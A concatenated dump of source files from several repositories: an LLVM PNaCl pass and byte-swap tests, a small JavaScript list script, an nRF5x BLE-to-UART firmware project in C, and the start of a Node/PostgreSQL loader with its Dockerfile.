Type::getInt8PtrTy(*Context),
Type::getInt32Ty(*Context) };
MemmoveIntrinsic = Intrinsic::getDeclaration(
TheModule, Intrinsic::memmove, Tys);
}
return MemmoveIntrinsic;
}
Function *RewritePNaClLibraryCalls::findMemsetIntrinsic() {
if (!MemsetIntrinsic) {
Type *Tys[] = { Type::getInt8PtrTy(*Context), Type::getInt32Ty(*Context) };
MemsetIntrinsic = Intrinsic::getDeclaration(
TheModule, Intrinsic::memset, Tys);
}
return MemsetIntrinsic;
}
ModulePass *llvm::createRewritePNaClLibraryCallsPass() {
return new RewritePNaClLibraryCalls();
}
<file_sep>/unittests/Support/SwapByteOrderTest.cpp
//===- unittests/Support/SwapByteOrderTest.cpp - swap byte order test -----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "gtest/gtest.h"
#include "llvm/Support/SwapByteOrder.h"
#include <cstdlib>
#include <ctime>
using namespace llvm;
#undef max
namespace {
// In these first two tests all of the original_uintx values are truncated
// except for 64. We could avoid this, but there's really no point.
TEST(getSwappedBytes, UnsignedRoundTrip) {
// The point of the bit twiddling of magic is to test with and without bits
// in every byte.
uint64_t value = 1;
for (std::size_t i = 0; i <= sizeof(value); ++i) {
uint8_t original_uint8 = static_cast<uint8_t>(value);
EXPECT_EQ(original_uint8,
sys::getSwappedBytes(sys::getSwappedBytes(original_uint8)));
uint16_t original_uint16 = static_cast<uint16_t>(value);
EXPECT_EQ(original_uint16,
sys::getSwappedBytes(sys::getSwappedBytes(original_uint16)));
uint32_t original_uint32 = static_cast<uint32_t>(value);
EXPECT_EQ(original_uint32,
sys::getSwappedBytes(sys::getSwappedBytes(original_uint32)));
uint64_t original_uint64 = static_cast<uint64_t>(value);
EXPECT_EQ(original_uint64,
sys::getSwappedBytes(sys::getSwappedBytes(original_uint64)));
value = (value << 8) | 0x55; // binary 0101 0101.
}
}
TEST(getSwappedBytes, SignedRoundTrip) {
// The point of the bit twiddling of magic is to test with and without bits
// in every byte.
uint64_t value = 1;
for (std::size_t i = 0; i <= sizeof(value); ++i) {
int8_t original_int8 = static_cast<int8_t>(value);
EXPECT_EQ(original_int8,
sys::getSwappedBytes(sys::getSwappedBytes(original_int8)));
int16_t original_int16 = static_cast<int16_t>(value);
EXPECT_EQ(original_int16,
sys::getSwappedBytes(sys::getSwappedBytes(original_int16)));
int32_t original_int32 = static_cast<int32_t>(value);
EXPECT_EQ(original_int32,
sys::getSwappedBytes(sys::getSwappedBytes(original_int32)));
int64_t original_int64 = static_cast<int64_t>(value);
EXPECT_EQ(original_int64,
sys::getSwappedBytes(sys::getSwappedBytes(original_int64)));
// Test other sign.
value *= -1;
original_int8 = static_cast<int8_t>(value);
EXPECT_EQ(original_int8,
sys::getSwappedBytes(sys::getSwappedBytes(original_int8)));
original_int16 = static_cast<int16_t>(value);
EXPECT_EQ(original_int16,
sys::getSwappedBytes(sys::getSwappedBytes(original_int16)));
original_int32 = static_cast<int32_t>(value);
EXPECT_EQ(original_int32,
sys::getSwappedBytes(sys::getSwappedBytes(original_int32)));
original_int64 = static_cast<int64_t>(value);
EXPECT_EQ(original_int64,
sys::getSwappedBytes(sys::getSwappedBytes(original_int64)));
// Return to normal sign and twiddle.
value *= -1;
value = (value << 8) | 0x55; // binary 0101 0101.
}
}
TEST(getSwappedBytes, uint8_t) {
EXPECT_EQ(uint8_t(0x11), sys::getSwappedBytes(uint8_t(0x11)));
}
TEST(getSwappedBytes, uint16_t) {
EXPECT_EQ(uint16_t(0x1122), sys::getSwappedBytes(uint16_t(0x2211)));
}
TEST(getSwappedBytes, uint32_t) {
EXPECT_EQ(uint32_t(0x11223344), sys::getSwappedBytes(uint32_t(0x44332211)));
}
TEST(getSwappedBytes, uint64_t) {
EXPECT_EQ(uint64_t(0x1122334455667788ULL),
sys::getSwappedBytes(uint64_t(0x8877665544332211ULL)));
}
TEST(getSwappedBytes, int8_t) {
EXPECT_EQ(int8_t(0x11), sys::getSwappedBytes(int8_t(0x11)));
}
TEST(getSwappedBytes, int16_t) {
EXPECT_EQ(int16_t(0x1122), sys::getSwappedBytes(int16_t(0x2211)));
}
TEST(getSwappedBytes, int32_t) {
EXPECT_EQ(int32_t(0x11223344), sys::getSwappedBytes(int32_t(0x44332211)));
}
TEST(getSwappedBytes, int64_t) {
EXPECT_EQ(int64_t(0x1122334455667788LL),
sys::getSwappedBytes(int64_t(0x8877665544332211LL)));
}
TEST(swapByteOrder, uint8_t) {
uint8_t value = 0x11;
sys::swapByteOrder(value);
EXPECT_EQ(uint8_t(0x11), value);
}
TEST(swapByteOrder, uint16_t) {
uint16_t value = 0x2211;
sys::swapByteOrder(value);
EXPECT_EQ(uint16_t(0x1122), value);
}
TEST(swapByteOrder, uint32_t) {
uint32_t value = 0x44332211;
sys::swapByteOrder(value);
EXPECT_EQ(uint32_t(0x11223344), value);
}
TEST(swapByteOrder, uint64_t) {
uint64_t value = 0x8877665544332211ULL;
sys::swapByteOrder(value);
EXPECT_EQ(uint64_t(0x1122334455667788ULL), value);
}
TEST(swapByteOrder, int8_t) {
int8_t value = 0x11;
sys::swapByteOrder(value);
EXPECT_EQ(int8_t(0x11), value);
}
TEST(swapByteOrder, int16_t) {
int16_t value = 0x2211;
sys::swapByteOrder(value);
EXPECT_EQ(int16_t(0x1122), value);
}
TEST(swapByteOrder, int32_t) {
int32_t value = 0x44332211;
sys::swapByteOrder(value);
EXPECT_EQ(int32_t(0x11223344), value);
}
TEST(swapByteOrder, int64_t) {
int64_t value = 0x8877665544332211LL;
sys::swapByteOrder(value);
EXPECT_EQ(int64_t(0x1122334455667788LL), value);
}
}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClRandNumGen.cpp
//===- NaClRandNumGen.cpp - Random number generator -----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file provides a default implementation of a random number generator.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClRandNumGen.h"
#include <vector>
#include <algorithm>
namespace naclfuzz {
// Put destructor in .cpp file guarantee vtable construction.
RandomNumberGenerator::~RandomNumberGenerator() {}
DefaultRandomNumberGenerator::DefaultRandomNumberGenerator(llvm::StringRef Seed)
: Seed(Seed) {
saltSeed(0);
}
uint64_t DefaultRandomNumberGenerator::operator()() {
return Generator();
}
void DefaultRandomNumberGenerator::saltSeed(uint64_t Salt) {
// Combine seed and salt and pass to generator.
std::vector<uint32_t> Data;
Data.reserve(Seed.size() + 2);
Data.push_back(static_cast<uint32_t>(Salt));
Data.push_back(static_cast<uint32_t>(Salt >> 32));
std::copy(Seed.begin(), Seed.end(), Data.end());
std::seed_seq SeedSeq(Data.begin(), Data.end());
Generator.seed(SeedSeq);
}
} // end of namespace naclfuzz
|
1115e683163ba9df6b4c2bcc7bf41970e16bbca0
|
[
"CMake",
"reStructuredText",
"Makefile",
"Python",
"Text",
"C",
"Go",
"C++"
] | 223
|
C++
|
shravanrn/nacl-llvm
|
f350c65a2b6c1841c5d3769f9d140cf98327df6e
|
d6352a127ec1e82e98e8dcadb3d9925cd0835f6e
|
refs/heads/master
|
<file_sep># for-Masters-Academy<file_sep>const fruits = ['Banana', 'Apple', 'Orange', 'Lemon'];
let orList = document.createElement('ol');
fruits.forEach(function(fruit){
let li = document.createElement('li');
let changeValueOnList = 'Apple';
if (fruit.includes(changeValueOnList)) {
fruit = 'Only' + ' ' + fruit;
}
li.innerText = fruit;
li.style.fontSize = "25px";
li.style.lineHeight = "40px";
orList.appendChild(li);
});
let addEl = document.querySelector('#demo');
addEl.appendChild(orList);
|
aa03e5e9ffc069ca15781cd5c4bf47e4d54ec0a3
|
[
"Markdown",
"JavaScript"
] | 2
|
Markdown
|
IuriiSky/for-Masters-Academy
|
ed4967c8937d33b17d1583f036e3c31fa3bb7a92
|
bec07d9068f7095a7284fcf86e61a1d0fd80f9a4
|
refs/heads/main
|
<file_sep>#include "app_comm.h"
#include "board_comm.h"
#include "bsp_btn_ble.h"
#include "ble_advertising.h"
/**@brief Function for handling events from the BSP module.
*
* @param[in] event Event generated by button press.
*/
void bsp_event_handler(bsp_event_t event)
{
uint32_t err_code;
switch (event)
{
case BSP_EVENT_SLEEP:
sleep_mode_enter();
break;
case BSP_EVENT_DISCONNECT:
err_code = sd_ble_gap_disconnect(m_conn_handle, BLE_HCI_REMOTE_USER_TERMINATED_CONNECTION);
if (err_code != NRF_ERROR_INVALID_STATE)
{
APP_ERROR_CHECK(err_code);
}
break;
case BSP_EVENT_WHITELIST_OFF:
if (m_conn_handle == BLE_CONN_HANDLE_INVALID)
{
err_code = app_advertising_restart_without_whitelist();
if (err_code != NRF_ERROR_INVALID_STATE)
{
APP_ERROR_CHECK(err_code);
}
}
break;
default:
break;
}
}
/**@snippet [UART Initialization] */
/**@brief Function for initializing buttons and leds.
*
* @param[out] p_erase_bonds Will be true if the clear bonding button was pressed to wake the application up.
*/
static void buttons_leds_init(bool *p_erase_bonds)
{
bsp_event_t startup_event;
uint32_t err_code = bsp_init(BSP_INIT_LEDS | BSP_INIT_BUTTONS, bsp_event_handler);
APP_ERROR_CHECK(err_code);
err_code = bsp_btn_ble_init(NULL, &startup_event);
APP_ERROR_CHECK(err_code);
*p_erase_bonds = (startup_event == BSP_EVENT_CLEAR_BONDING_DATA);
}
void bsp_buttons_leds_init(void)
{
bool erase_bonds;
buttons_leds_init(&erase_bonds);
}
<file_sep>#include "app_comm.h"
#include "ble_hci.h"
#include "ble_advdata.h"
#include "ble_advertising.h"
#include "ble_conn_params.h"
#include "nrf_sdh.h"
#include "nrf_sdh_soc.h"
#include "nrf_sdh_ble.h"
#include "nrf_ble_gatt.h"
#include "nrf_ble_qwr.h"
#include "ble_nus.h"
#include "app_timer.h"
uint16_t m_conn_handle = BLE_CONN_HANDLE_INVALID; /**< Handle of the current connection. */
#define APP_BLE_CONN_CFG_TAG 1 /**< A tag identifying the SoftDevice BLE configuration. */
#define DEVICE_NAME "Your_Device" /**< Name of device. Will be included in the advertising data. */
#define NUS_SERVICE_UUID_TYPE BLE_UUID_TYPE_VENDOR_BEGIN /**< UUID type for the Nordic UART Service (vendor specific). */
NRF_BLE_GATT_DEF(m_gatt); /**< GATT module instance. */
BLE_ADVERTISING_DEF(m_advertising); /**< Advertising module instance. */
static ble_uuid_t m_adv_uuids[] = /**< Universally unique service identifier. */
{
{BLE_UUID_NUS_SERVICE, NUS_SERVICE_UUID_TYPE}};
#define APP_ADV_INTERVAL 64 /**< The advertising interval (in units of 0.625 ms. This value corresponds to 40 ms). */
#define APP_ADV_DURATION 18000 /**< The advertising duration (180 seconds) in units of 10 milliseconds. */
#define MIN_CONN_INTERVAL MSEC_TO_UNITS(20, UNIT_1_25_MS) /**< Minimum acceptable connection interval (20 ms), Connection interval uses 1.25 ms units. */
#define MAX_CONN_INTERVAL MSEC_TO_UNITS(75, UNIT_1_25_MS) /**< Maximum acceptable connection interval (75 ms), Connection interval uses 1.25 ms units. */
#define SLAVE_LATENCY 0 /**< Slave latency. */
#define CONN_SUP_TIMEOUT MSEC_TO_UNITS(4000, UNIT_10_MS) /**< Connection supervisory timeout (4 seconds), Supervision Timeout uses 10 ms units. */
#define FIRST_CONN_PARAMS_UPDATE_DELAY APP_TIMER_TICKS(5000) /**< Time from initiating event (connect or start of notification) to first time sd_ble_gap_conn_param_update is called (5 seconds). */
#define NEXT_CONN_PARAMS_UPDATE_DELAY APP_TIMER_TICKS(30000) /**< Time between each call to sd_ble_gap_conn_param_update after the first call (30 seconds). */
#define MAX_CONN_PARAMS_UPDATE_COUNT 3 /**< Number of attempts before giving up the connection parameter negotiation. */
#define APP_BLE_OBSERVER_PRIO 3 /**< Application's BLE observer priority. You shouldn't need to modify this value. */
/**@brief Function for the GAP initialization.
*
* @details This function will set up all the necessary GAP (Generic Access Profile) parameters of
* the device. It also sets the permissions and appearance.
*/
static void gap_params_init(void)
{
uint32_t err_code;
ble_gap_conn_params_t gap_conn_params;
ble_gap_conn_sec_mode_t sec_mode;
BLE_GAP_CONN_SEC_MODE_SET_OPEN(&sec_mode);
err_code = sd_ble_gap_device_name_set(&sec_mode,
(const uint8_t *)DEVICE_NAME,
strlen(DEVICE_NAME));
APP_ERROR_CHECK(err_code);
memset(&gap_conn_params, 0, sizeof(gap_conn_params));
gap_conn_params.min_conn_interval = MIN_CONN_INTERVAL;
gap_conn_params.max_conn_interval = MAX_CONN_INTERVAL;
gap_conn_params.slave_latency = SLAVE_LATENCY;
gap_conn_params.conn_sup_timeout = CONN_SUP_TIMEOUT;
err_code = sd_ble_gap_ppcp_set(&gap_conn_params);
APP_ERROR_CHECK(err_code);
}
/**@brief Function for handling an event from the Connection Parameters Module.
*
* @details This function will be called for all events in the Connection Parameters Module
* which are passed to the application.
*
* @note All this function does is to disconnect. This could have been done by simply setting
* the disconnect_on_fail config parameter, but instead we use the event handler
* mechanism to demonstrate its use.
*
* @param[in] p_evt Event received from the Connection Parameters Module.
*/
static void on_conn_params_evt(ble_conn_params_evt_t *p_evt)
{
uint32_t err_code;
if (p_evt->evt_type == BLE_CONN_PARAMS_EVT_FAILED)
{
err_code = sd_ble_gap_disconnect(m_conn_handle, BLE_HCI_CONN_INTERVAL_UNACCEPTABLE);
APP_ERROR_CHECK(err_code);
}
}
/**@brief Function for handling errors from the Connection Parameters module.
*
* @param[in] nrf_error Error code containing information about what went wrong.
*/
static void conn_params_error_handler(uint32_t nrf_error)
{
APP_ERROR_HANDLER(nrf_error);
}
/**@brief Function for initializing the Connection Parameters module.
*/
static void conn_params_init(void)
{
uint32_t err_code;
ble_conn_params_init_t cp_init;
memset(&cp_init, 0, sizeof(cp_init));
cp_init.p_conn_params = NULL;
cp_init.first_conn_params_update_delay = FIRST_CONN_PARAMS_UPDATE_DELAY;
cp_init.next_conn_params_update_delay = NEXT_CONN_PARAMS_UPDATE_DELAY;
cp_init.max_conn_params_update_count = MAX_CONN_PARAMS_UPDATE_COUNT;
cp_init.start_on_notify_cccd_handle = BLE_GATT_HANDLE_INVALID;
cp_init.disconnect_on_fail = false;
cp_init.evt_handler = on_conn_params_evt;
cp_init.error_handler = conn_params_error_handler;
err_code = ble_conn_params_init(&cp_init);
APP_ERROR_CHECK(err_code);
}
/**@brief Function for handling advertising events.
*
* @details This function will be called for advertising events which are passed to the application.
*
* @param[in] ble_adv_evt Advertising event.
*/
static void on_adv_evt(ble_adv_evt_t ble_adv_evt)
{
uint32_t err_code;
switch (ble_adv_evt)
{
case BLE_ADV_EVT_FAST:
err_code = bsp_indication_set(BSP_INDICATE_ADVERTISING);
APP_ERROR_CHECK(err_code);
break;
case BLE_ADV_EVT_IDLE:
sleep_mode_enter();
break;
default:
break;
}
}
/**@brief Function for handling BLE events.
*
* @param[in] p_ble_evt Bluetooth stack event.
* @param[in] p_context Unused.
*/
static void ble_evt_handler(ble_evt_t const *p_ble_evt, void *p_context)
{
uint32_t err_code;
switch (p_ble_evt->header.evt_id)
{
case BLE_GAP_EVT_CONNECTED:
NRF_LOG_INFO("Connected");
err_code = bsp_indication_set(BSP_INDICATE_CONNECTED);
APP_ERROR_CHECK(err_code);
m_conn_handle = p_ble_evt->evt.gap_evt.conn_handle;
err_code = app_ble_qwr_conn_handle_assign(m_conn_handle);
APP_ERROR_CHECK(err_code);
break;
case BLE_GAP_EVT_DISCONNECTED:
NRF_LOG_INFO("Disconnected");
// LED indication will be changed when advertising starts.
m_conn_handle = BLE_CONN_HANDLE_INVALID;
break;
case BLE_GAP_EVT_PHY_UPDATE_REQUEST:
{
NRF_LOG_DEBUG("PHY update request.");
ble_gap_phys_t const phys =
{
.rx_phys = BLE_GAP_PHY_AUTO,
.tx_phys = BLE_GAP_PHY_AUTO,
};
err_code = sd_ble_gap_phy_update(p_ble_evt->evt.gap_evt.conn_handle, &phys);
APP_ERROR_CHECK(err_code);
}
break;
case BLE_GAP_EVT_SEC_PARAMS_REQUEST:
// Pairing not supported
err_code = sd_ble_gap_sec_params_reply(m_conn_handle, BLE_GAP_SEC_STATUS_PAIRING_NOT_SUPP, NULL, NULL);
APP_ERROR_CHECK(err_code);
break;
case BLE_GATTS_EVT_SYS_ATTR_MISSING:
// No system attributes have been stored.
err_code = sd_ble_gatts_sys_attr_set(m_conn_handle, NULL, 0, 0);
APP_ERROR_CHECK(err_code);
break;
case BLE_GATTC_EVT_TIMEOUT:
// Disconnect on GATT Client timeout event.
err_code = sd_ble_gap_disconnect(p_ble_evt->evt.gattc_evt.conn_handle,
BLE_HCI_REMOTE_USER_TERMINATED_CONNECTION);
APP_ERROR_CHECK(err_code);
break;
case BLE_GATTS_EVT_TIMEOUT:
// Disconnect on GATT Server timeout event.
err_code = sd_ble_gap_disconnect(p_ble_evt->evt.gatts_evt.conn_handle,
BLE_HCI_REMOTE_USER_TERMINATED_CONNECTION);
APP_ERROR_CHECK(err_code);
break;
default:
// No implementation needed.
break;
}
}
/**@brief Function for the SoftDevice initialization.
*
* @details This function initializes the SoftDevice and the BLE event interrupt.
*/
static void ble_stack_init(void)
{
ret_code_t err_code;
err_code = nrf_sdh_enable_request();
APP_ERROR_CHECK(err_code);
// Configure the BLE stack using the default settings.
// Fetch the start address of the application RAM.
uint32_t ram_start = 0;
err_code = nrf_sdh_ble_default_cfg_set(APP_BLE_CONN_CFG_TAG, &ram_start);
APP_ERROR_CHECK(err_code);
// Enable BLE stack.
err_code = nrf_sdh_ble_enable(&ram_start);
APP_ERROR_CHECK(err_code);
// Register a handler for BLE events.
NRF_SDH_BLE_OBSERVER(m_ble_observer, APP_BLE_OBSERVER_PRIO, ble_evt_handler, NULL);
}
/**@brief Function for handling events from the GATT library. */
void gatt_evt_handler(nrf_ble_gatt_t *p_gatt, nrf_ble_gatt_evt_t const *p_evt)
{
if ((m_conn_handle == p_evt->conn_handle) && (p_evt->evt_id == NRF_BLE_GATT_EVT_ATT_MTU_UPDATED))
{
m_ble_nus_max_data_len = p_evt->params.att_mtu_effective - OPCODE_LENGTH - HANDLE_LENGTH;
NRF_LOG_INFO("Data len is set to 0x%X(%d)", m_ble_nus_max_data_len, m_ble_nus_max_data_len);
}
NRF_LOG_DEBUG("ATT MTU exchange completed. central 0x%x peripheral 0x%x",
p_gatt->att_mtu_desired_central,
p_gatt->att_mtu_desired_periph);
}
/**@brief Function for initializing the GATT library. */
void gatt_init(void)
{
ret_code_t err_code;
err_code = nrf_ble_gatt_init(&m_gatt, gatt_evt_handler);
APP_ERROR_CHECK(err_code);
err_code = nrf_ble_gatt_att_mtu_periph_set(&m_gatt, NRF_SDH_BLE_GATT_MAX_MTU_SIZE);
APP_ERROR_CHECK(err_code);
}
/**@brief Function for initializing the Advertising functionality.
*/
static void advertising_init(void)
{
uint32_t err_code;
ble_advertising_init_t init;
memset(&init, 0, sizeof(init));
init.advdata.name_type = BLE_ADVDATA_FULL_NAME;
init.advdata.include_appearance = false;
init.advdata.flags = BLE_GAP_ADV_FLAGS_LE_ONLY_LIMITED_DISC_MODE;
init.srdata.uuids_complete.uuid_cnt = sizeof(m_adv_uuids) / sizeof(m_adv_uuids[0]);
init.srdata.uuids_complete.p_uuids = m_adv_uuids;
init.config.ble_adv_fast_enabled = true;
init.config.ble_adv_fast_interval = APP_ADV_INTERVAL;
init.config.ble_adv_fast_timeout = APP_ADV_DURATION;
init.evt_handler = on_adv_evt;
err_code = ble_advertising_init(&m_advertising, &init);
APP_ERROR_CHECK(err_code);
ble_advertising_conn_cfg_tag_set(&m_advertising, APP_BLE_CONN_CFG_TAG);
}
/**@brief Function for starting advertising.
*/
static void advertising_start(void)
{
uint32_t err_code = ble_advertising_start(&m_advertising, BLE_ADV_MODE_FAST);
APP_ERROR_CHECK(err_code);
}
uint32_t app_advertising_restart_without_whitelist(void)
{
return ble_advertising_restart_without_whitelist(&m_advertising);
}
void app_ble_init(void)
{
ble_stack_init();
gap_params_init();
gatt_init();
services_init();
advertising_init();
conn_params_init();
// Start execution.
advertising_start();
}
<file_sep>#include "app_comm.h"
#include "app_uart.h"
#include "ble_nus.h"
#include "nrf_ble_qwr.h"
#include "app_error.h"
BLE_NUS_DEF(m_nus, NRF_SDH_BLE_TOTAL_LINK_COUNT); /**< BLE NUS service instance. */
NRF_BLE_QWR_DEF(m_qwr); /**< Context for the Queued Write module.*/
/**@brief Function for handling the data from the Nordic UART Service.
*
* @details This function will process the data received from the Nordic UART BLE Service and send
* it to the UART module.
*
* @param[in] p_evt Nordic UART Service event.
*/
/**@snippet [Handling the data received over BLE] */
void nus_data_handler(ble_nus_evt_t *p_evt)
{
if (p_evt->type == BLE_NUS_EVT_RX_DATA)
{
uint32_t err_code;
NRF_LOG_DEBUG("Received data from BLE NUS. Writing data on UART.");
NRF_LOG_HEXDUMP_DEBUG(p_evt->params.rx_data.p_data, p_evt->params.rx_data.length);
for (uint32_t i = 0; i < p_evt->params.rx_data.length; i++)
{
do
{
err_code = app_uart_put(p_evt->params.rx_data.p_data[i]);
if ((err_code != NRF_SUCCESS) && (err_code != NRF_ERROR_BUSY))
{
NRF_LOG_ERROR("Failed receiving NUS message. Error 0x%x. ", err_code);
APP_ERROR_CHECK(err_code);
}
} while (err_code == NRF_ERROR_BUSY);
}
if (p_evt->params.rx_data.p_data[p_evt->params.rx_data.length - 1] == '\r')
{
while (app_uart_put('\n') == NRF_ERROR_BUSY)
;
}
}
}
uint32_t app_nus_send(uint8_t *p_data, uint16_t *p_length, uint16_t conn_handle)
{
return ble_nus_data_send(&m_nus, p_data, p_length, conn_handle);
}
/**@brief Function for handling Queued Write Module errors.
*
* @details A pointer to this function will be passed to each service which may need to inform the
* application about an error.
*
* @param[in] nrf_error Error code containing information about what went wrong.
*/
static void nrf_qwr_error_handler(uint32_t nrf_error)
{
APP_ERROR_HANDLER(nrf_error);
}
/**@snippet [Handling the data received over BLE] */
uint32_t app_ble_qwr_conn_handle_assign(uint16_t conn_handle)
{
return nrf_ble_qwr_conn_handle_assign(&m_qwr, conn_handle);
}
/**@brief Function for initializing services that will be used by the application.
*/
void services_init(void)
{
uint32_t err_code;
ble_nus_init_t nus_init;
nrf_ble_qwr_init_t qwr_init = {0};
// Initialize Queued Write Module.
qwr_init.error_handler = nrf_qwr_error_handler;
err_code = nrf_ble_qwr_init(&m_qwr, &qwr_init);
APP_ERROR_CHECK(err_code);
// Initialize NUS.
memset(&nus_init, 0, sizeof(nus_init));
nus_init.data_handler = nus_data_handler;
err_code = ble_nus_init(&m_nus, &nus_init);
APP_ERROR_CHECK(err_code);
}
<file_sep>#ifndef BOARD_COMM_H__
#define BOARD_COMM_H__
#ifdef __cplusplus
extern "C"
{
#endif
#include "bsp.h"
#include "nrf_log.h"
#include "nrf_log_ctrl.h"
#include "nrf_log_default_backends.h"
void bsp_uart_init(void);
void bsp_buttons_leds_init(void);
uint32_t bsp_btn_ble_sleep_mode_prepare(void);
#endif
<file_sep># BLE_NRF5X
A ble project base on nrf5x series devices
<file_sep>#ifndef APP_COMM_H__
#define APP_COMM_H__
#ifdef __cplusplus
extern "C"
{
#endif
#include <stdint.h>
#include <string.h>
#include "bsp.h"
#include "nrf_log.h"
#include "nrf_log_ctrl.h"
#include "nrf_log_default_backends.h"
void app_ble_init(void);
void services_init(void);
uint32_t app_ble_qwr_conn_handle_assign(uint16_t conn_handle);
uint32_t app_nus_send(uint8_t *p_data, uint16_t *p_length, uint16_t conn_handle);
uint32_t app_advertising_restart_without_whitelist(void);
void sleep_mode_enter(void);
extern uint16_t m_conn_handle;
extern uint16_t m_ble_nus_max_data_len;
#endif
<file_sep>#include "app_comm.h"
#include "board_comm.h"
#include "nordic_common.h"
#include "nrf.h"
#include "app_timer.h"
#include "app_util_platform.h"
#include "nrf_pwr_mgmt.h"
#define DEAD_BEEF 0xDEADBEEF /**< Value used as error code on stack dump, can be used to identify stack location on stack unwind. */
/**@brief Function for assert macro callback.
*
* @details This function will be called in case of an assert in the SoftDevice.
*
* @warning This handler is an example only and does not fit a final product. You need to analyse
* how your product is supposed to react in case of Assert.
* @warning On assert from the SoftDevice, the system can only recover on reset.
*
* @param[in] line_num Line number of the failing ASSERT call.
* @param[in] p_file_name File name of the failing ASSERT call.
*/
void assert_nrf_callback(uint16_t line_num, const uint8_t *p_file_name)
{
app_error_handler(DEAD_BEEF, line_num, p_file_name);
}
static void timers_init(void)
{
ret_code_t err_code = app_timer_init();
APP_ERROR_CHECK(err_code);
}
static void log_init(void)
{
ret_code_t err_code = NRF_LOG_INIT(NULL);
APP_ERROR_CHECK(err_code);
NRF_LOG_DEFAULT_BACKENDS_INIT();
}
static void power_management_init(void)
{
ret_code_t err_code;
err_code = nrf_pwr_mgmt_init();
APP_ERROR_CHECK(err_code);
}
/**@brief Function for putting the chip into sleep mode.
*
* @note This function will not return.
*/
void sleep_mode_enter(void)
{
uint32_t err_code = bsp_indication_set(BSP_INDICATE_IDLE);
APP_ERROR_CHECK(err_code);
// Prepare wakeup buttons.
err_code = bsp_btn_ble_sleep_mode_prepare();
APP_ERROR_CHECK(err_code);
// Go to system-off mode (this function will not return; wakeup will cause a reset).
err_code = sd_power_system_off();
APP_ERROR_CHECK(err_code);
}
static void idle_state_handle(void)
{
if (NRF_LOG_PROCESS() == false)
{
nrf_pwr_mgmt_run();
}
}
int main(void)
{
//commont init
log_init();
timers_init();
power_management_init();
// bsp init
bsp_uart_init();
bsp_buttons_leds_init();
//app init
app_ble_init();
NRF_LOG_INFO("APP RUNNING...");
// Enter main loop.
for (;;)
{
idle_state_handle();
}
}
/**
* @}
*/
<file_sep>#include "board_comm.h"
#include "app_comm.h"
#include "app_uart.h"
#include "ble_nus.h"
#include "ble_gatt.h"
#if defined(UART_PRESENT)
#include "nrf_uart.h"
#endif
#if defined(UARTE_PRESENT)
#include "nrf_uarte.h"
#endif
uint16_t m_ble_nus_max_data_len = BLE_GATT_ATT_MTU_DEFAULT - 3; /**< Maximum length of data (in bytes) that can be transmitted to the peer by the Nordic UART service module. */
#define UART_TX_BUF_SIZE 256 /**< UART TX buffer size. */
#define UART_RX_BUF_SIZE 256 /**< UART RX buffer size. */
/**@brief Function for handling app_uart events.
*
* @details This function will receive a single character from the app_uart module and append it to
* a string. The string will be be sent over BLE when the last character received was a
* 'new line' '\n' (hex 0x0A) or if the string has reached the maximum data length.
*/
/**@snippet [Handling the data received over UART] */
void uart_event_handle(app_uart_evt_t *p_event)
{
static uint8_t data_array[BLE_NUS_MAX_DATA_LEN];
static uint8_t index = 0;
uint32_t err_code;
switch (p_event->evt_type)
{
case APP_UART_DATA_READY:
UNUSED_VARIABLE(app_uart_get(&data_array[index]));
index++;
if ((data_array[index - 1] == '\n') ||
(data_array[index - 1] == '\r') ||
(index >= m_ble_nus_max_data_len))
{
if (index > 1)
{
NRF_LOG_DEBUG("Ready to send data over BLE NUS");
NRF_LOG_HEXDUMP_DEBUG(data_array, index);
do
{
uint16_t length = (uint16_t)index;
err_code = app_nus_send(data_array, &length, m_conn_handle);
if ((err_code != NRF_ERROR_INVALID_STATE) &&
(err_code != NRF_ERROR_RESOURCES) &&
(err_code != NRF_ERROR_NOT_FOUND))
{
APP_ERROR_CHECK(err_code);
}
} while (err_code == NRF_ERROR_RESOURCES);
}
index = 0;
}
break;
case APP_UART_COMMUNICATION_ERROR:
APP_ERROR_HANDLER(p_event->data.error_communication);
break;
case APP_UART_FIFO_ERROR:
APP_ERROR_HANDLER(p_event->data.error_code);
break;
default:
break;
}
}
/**@snippet [Handling the data received over UART] */
/**@brief Function for initializing the UART module.
*/
/**@snippet [UART Initialization] */
void bsp_uart_init(void)
{
uint32_t err_code;
app_uart_comm_params_t const comm_params =
{
.rx_pin_no = RX_PIN_NUMBER,
.tx_pin_no = TX_PIN_NUMBER,
.rts_pin_no = RTS_PIN_NUMBER,
.cts_pin_no = CTS_PIN_NUMBER,
.flow_control = APP_UART_FLOW_CONTROL_DISABLED,
.use_parity = false,
#if defined(UART_PRESENT)
.baud_rate = NRF_UART_BAUDRATE_115200
#else
.baud_rate = NRF_UARTE_BAUDRATE_115200
#endif
};
APP_UART_FIFO_INIT(&comm_params,
UART_RX_BUF_SIZE,
UART_TX_BUF_SIZE,
uart_event_handle,
APP_IRQ_PRIORITY_LOWEST,
err_code);
APP_ERROR_CHECK(err_code);
}
|
9c2633f95482ea49468ac93d2f8da76f0a85d483
|
[
"Markdown",
"C"
] | 8
|
C
|
reallystrong/BLE_NRF5X
|
74b499b7cdb53255b42c6b209190ed86fda86bfe
|
8ca982a191f8f80d78e642faa4b8c6b77290b2da
|
refs/heads/master
|
<file_sep>FROM node
WORKDIR /usr/src/app
# Initialize project, download all packages
COPY package*.json /usr/src/app/
RUN npm install
# Map the machine port 5000 to our app's port 5000
EXPOSE 5000
CMD ["npm", "start"]
# Bundle app source
VOLUME /usr/src/app<file_sep>const { Pool, Client } = require('pg');
const fs = require('fs');
const copyFrom = require('pg-copy-streams').from;
const replaceStream = require('replacestream');
require('dotenv').config();
const FILE_SEPARATOR = process.env.FILE_SEPATATOR || '<SEP>';
const REPLACED_FILE_SEPARATOR = process.env.REPLACED_FILE_SEPARATOR || ',';
const TIMER_LABEL = 'TIMER_LABEL';
const MODE = process.env.MODE || 'prod';
class Database {
constructor() {
this.client = new Client({
user: process.env.DB_USER,
host: process.env.DB_HOST,
database: process.env.DB_NAME,
password: <PASSWORD>,
port: process.env.DB_PORT
});
}
connect() {
return this.client.connect().then(err => {
if (!err) {
if (MODE !== 'prod') console.log('Successfully connected to db...\n');
}
});
}
wrapTask(task) {
return new Promise((resolve, reject) => {
if (MODE !== 'prod') {
console.time(task.name);
